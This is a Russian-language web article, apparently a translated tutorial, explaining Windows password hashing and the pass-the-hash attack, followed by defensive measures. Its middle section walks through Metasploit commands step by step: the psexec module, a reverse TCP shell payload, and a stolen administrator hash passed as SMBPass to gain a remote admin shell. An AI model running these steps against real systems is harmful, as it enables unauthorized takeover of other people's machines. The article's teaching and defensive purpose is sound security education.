Анатомия атак типа «Pass the Hash»
HashFlare
 
Главная HI-TECH Форум Поиск Книги Авторам Новости партнёров Реклама
Новостей на сайте: 10263
Программы  
  Система
  Безопасность
  Интернет и сети
  Текст
  Графика и дизайн
  Мультимедиа
  Программирование
  Бизнес
  Образование
  Дом, семья, хобби
  Игры и развлечения
 
Рассылка
 
HashFlare
 
Рейтинг программ...    
    Ф2Мастер Банк (138203)
    Коллекция руссификаторов O-S (34474)
    Товар версия 1.10 (25180)
    Коллекция софта № 13 (24610)
    New_Profile v3.4 (400) (23816)
    NetGraf 1.0 (23664)
    Revolter Commander 3.9 beta 8 (16289)
    Коллекция софта № 14 (15584)
    Net Transport 2.22 (15300)
    Intel Sound MAX 4.0 Ac' 97 5.12.01 (15124)
 

[!] Знаете ли Вы, что подписавшись на нашу рассылку, Вы будете получать еженедельные обзоры лучшего программного обеспечения для вашего компьютера, а также статьи необходимые каждому?


Безопасность Статьи
Анатомия атак типа «Pass the Hash»

Специалисты в области информационной безопасности часто концентрируют массу вашего внимания на том, чтобы убедиться в строгости политик безопасности и сложности паролей, с целью устранить возможность взлома со стороны злоумышленников. В этой статье рассказывается о том, как пароли хэшируются и хранятся, и как злоумышленники могут взламывать такие пароли.

Более того, как вы отреагируете, если я скажу вам, что при определенных условиях мне даже не понадобится взламывать ваши пароли, чтобы получить такой доступ к системе, как будто бы я воспользовался вашим именем пользователя и паролем? Нет, я говорю не про некие особые уязвимости типа 0-day или про то, чтобы обманом заставить вас нажать на зараженную ссылку в фишинговом электронном письме. Сделать это очень просто при помощи техники под названием «Pass the Hash». В этой статье мы рассмотрим, как работает данная техника, и я покажу вам способ получения украденных хэшей паролей и успешного их применения без необходимости взламывать содержимое. Как обычно, я раскрою и некоторые приемы обнаружения и защиты от подобных атак.

Хэши на пакетном уровне

Когда вы создаете пароль для аккаунта в Windows, он преобразуется в хэш. Хэш представляет собой результат криптографической функции, которая принимает на вход строку данных произвольной длины, осуществляет математическое преобразование и на выходе дает строку фиксированной длины. В итоге, вместо того, чтобы хранить пароль 'PassWord123', у вас будет хранится хэш-строка '94354877D5B87105D7FEC0F3BF500B33.' Такой подход обусловлен двумя причинами. Во-первых, это означает, что ваш пароль не хранится на локальном жестком диске в виде обычного текста, который может прочитать каждый; а во-вторых, ваш пароль не передается по сети в виде текста при авторизации на другом устройстве (например, на контроллере домена). Я не буду в этой статье подробно останавливаться на том, как именно производится хэширование.

Когда вы пытаетесь получить доступ к компьютеру, защищенному именем пользователя и паролем, хост предложит вам авторизоваться. Обычно вводятся имя пользователя и пароль. После ввода пароля компьютер производит хэширование пароля и отправляет его хосту для сравнения со значением, содержащимся в базе данных. Если хэши совпадают, доступ открывается.


Рисунок 1: Нормальная попытка соединения на базе аутентификации

А теперь давайте рассмотрим другую ситуацию. Что если мы вручную установим соединение с хостом, на котором имеется требуемый ресурс, но вместо того, чтобы давать ему свое имя и пароль, мы передадим имя администратора и его хэш, который мы украли? Мы получаем административный доступ к этому хосту. Не забывайте, что хост волнует лишь получение хэша, соответствующего нужному паролю. То есть вам не обязательно применять функцию хэширования над паролем, нужно только передать хэш, на чем атака и основана.


Рисунок 2: Передача хэша целевому хосту напрямую

Использование Metasploit для «Pass the Hash»

Сейчас, разобравшись с теорией, лежащей в основе атак, пора перейти к практике. Нашей задачей будет передать украденный хэш пользователя с правами администратора системе-жертве. Чтобы осуществить эту атаку, нам понадобятся две вещи. Во-первых, нам нужен украденный хэш администратора. Есть несколько различных методов получения хэшей паролей. Кроме украденного хэша нам нужна копия Metasploit, инструмента для осуществления атаки.

Metasploit – это свободно распространяемый фреймворк для тестирования взлома, разработанный в HD Moore (сейчас Rapid7). В свободном доступе есть тысячи статей и тренировочных курсов по Metasploit, и хотя мы воспользуемся им для вполне конкретного типа атак, он способен атаковать и по многим другим направлениям.

Или вы можете загрузить и работать с Backtrack 4. BT4 – это линуксовый дистрибутив live-CD, созданный специально для тестирования взлома и внедрения, в котором есть масса предустановленных и прекомпилированных инструментов, включая Metasploit. Metasploit вы обнаружите в папке /pentest/exploit/framework3. Скриншоты примеров, показываемые в остальной части статьи, берутся из BT4.

Имея на руках украденный хэш и Metasploit, мы начинаем подготовку к атаке. Для начала нужно запустить консоль Metasploit. В BT4 для этого нужно перейти в папку /pentest/exploit/framework3 и набрать ./msfconsole.


Рисунок 3: Запуск консоли Metasploit

Metasploit – настоящий Фреймворк, состоящий из различных модулей, используя которые он решает свои задачи. В нашем случае мы воспользуемся модулем psexec. Psexec – это обычный инструмент (используется не только в Metasploit), который нужен для удаленного запуска процессов в системе и перенаправления результатов работы этих процессов обратно в систему, через которую вы работаете. Для работы с модулем введите use windows\smb\psexec и нажмите Enter. Состояние командной оболочки, которой вы пользуетесь, должно отразить использование этого модуля.


Рисунок 4: Использование модуля psexec

Теперь мы должны установить тип отправляемой функциональной части. Metasploit открывает самое базовое соединение с нашей жертвой, поэтому когда с помощью имени и хэша мы проходит авторизацию, функциональная часть определит, какие задачи мы выполняем через psexec. В нашем случае у нас масса злых намерений для нашей жертвы, поэтому вместо открытия какой-то одной программы, мы хотим запустить командную оболочку, чтобы можно было наделать много всякого. Один из самых эффективных для этого методов – воспользоваться обратной TCP-оболочкой. Вот и вся функциональность: запуск экземпляра cmd.exe и отправка данных через наше соединение для удаленного доступа. Для установки этого типа функциональной части введите set payload windows/shell_reverse_tcp.


Рисунок 5: Установка функциональной части для обратной TCP-оболочки

Для работы этого модуля и требуемой функциональности нужно настроить некоторые опции. Для этого введите show options и нажмите Enter.


Рисунок 6: Настраиваемые опции для данного модуля и требуемой функциональности

Для установки нужных нам опций воспользуемся синтаксисом 'set [название опции] [значение]'. Нужно установить следующие опции:

  • RHOST ' IP-адрес жертвы
  • SMBPass ' Украденный хэш жертвы
  • SMBUser ' Имя пользователя жертвы
  • LHOST ' IP-адрес атакующей машины

  • В большинстве ситуаций этих четырех опции вам будет достаточно, все остальное можно оставлять по умолчанию. После настройки результат должен соответствовать показанному на Рисунке 7.


    Рисунок 7: Опции атаки настроены

    На данный момент все приготовления завершены, и мы можем приступать к атаке. Для этого просто введите exploit и нажмите Enter. В случае успеха, вы увидите нечто похожее на то, что показано на Рисунке 8 - на нормальную командную оболочку Windows. И теперь у нас есть административный контроль над машиной без знания пароля администратора.


    Рисунок 8: Успешная атака дает нам командный процессор Windows

    Защита против «Pass the Hash»

    Атаки «Passing the hash» трудно обнаруживать и предотвращать из-за самой природы процесса авторизации. Сделать тут можно совсем немного:

  • Мониторинг системой обнаружения вторжений(СОВ) - Пользуясь СОВ, вы вряд ли сможете поймать за руку злоумышленника, который пытается использовать атаку типа «pass the hash», поскольку обычно это выглядит как обычная авторизационная последовательность. Однако вам может и удастся обнаружить атаку, основываясь на тех действиях, которые осуществляет злоумышленник после получения доступа. Например, в нашем тестовом сценарии вы не увидели бы предупреждение от СОВ при атаке машины жертвы, но заметили бы предупреждение, когда psexec создает оболочку и отправляет ее назад по сети. Это позволит вам обнаружит атаку и принять соответствующие меры.
  • Изоляция важных систем - Все машины, содержащие важные данные, должны быть изолированы. При помощи соответствующих настроек маршрутизаторов и брандмауэров вы сможете ограничить доступ к местам, где содержатся важные данные. При этом пользователи не должны быть в состоянии проводить атаки типа «pass the hash» для получения доступа к важным системам.
  • Двухфакторная авторизация - Расчет на пароли как на единственное средство авторизации уходит в прошлое, и это правильно. Чтобы авторизация пользователя была достаточно надежной, она должна состоять из двух или даже трех факторов. Эти факторы могут включать в себя: что-то, что вам известно (пароль); что-то, что у вас есть (смарт-карт, маркер) и что-то, что присуще только вам (отпечаток пальца, рисунок радужной оболочки глаза). Комбинация двух или трех из таких факторов предотвращает возможность авторизовываться с помощью только пароля или украденного хэша.
  • Ограничение административного доступа - Чем больше пользовательских аккаунтов имеет административные права, тем выше возможность того, что их хэши украдут и будут использовать для управления машинами с наивысшими привилегиями. Необходимо всегда проводить регулярные проверки с целью определить, имеет ли какой-нибудь пользователь доступ административного уровня.

  • Заключение

    Атаки типа «Passing the hash» очень простые для исполнения и летальны для жертвы. Как вы видели в этой статье, проведение ее требует всего пары инструментов и немного желания – вот и все, что нужно хакеру, чтобы сломать вашу инфраструктуру. Надеюсь, что те знания об этой атаке и о стратегиях ее обнаружения и предотвращения, которые мы сегодня обсудили, помогут вам лучше подготовить к защите и реакции на такие атаки в случае обнаружения их в вашей сети.


    Ссылки по теме:
    Сохранение паролей в команде RunAs
    Обеспечение безопасности в Windows: десять советов
    Антивирус Microsoft Security Essentials (MSE)
    SpywareBlaster - в борьбе с adware/spyware
    Понимание опций входа в систему Windows



     
    Статьи    
      Windows 10
      Windows 8
      Windows 7
      Windows Vista
      Windows XP/2003
      Windows NT/2000
      Безопасность
      Windows 9x/ME
      Hardware
      Software
      Интернет
      BIOS
      Сеть
      Разное
     
    Рекомендуем
     
    Помощь сильной гадалки в Краснодаре.
     
    Рейтинг статей...    
        Предел входящих подключений в Windows (128481)
        Как установить Windows XP на ноутбук или как добавить SATA-драйвер в дистрибутив Windows XP (68592)
        Из дома в офис - быстро, надежно и безопасно (55279)
        Всё, что надо начинающему хакеру (49594)
        Восстановление реестра Windows XP (23134)
        Второй сервис-пак для Windows XP: личный опыт (23052)
        Вызываем синий экран смерти Windows (18316)
        Настройка удаленного подключения между Windows 7 и Linux с помощью TightVNC (17149)
        Информация о proxy серверах (17144)
        Как устроена защита Windows Vista (17005)
     
     
    Programmed by Ventura
     

     

    Яндекс цитирования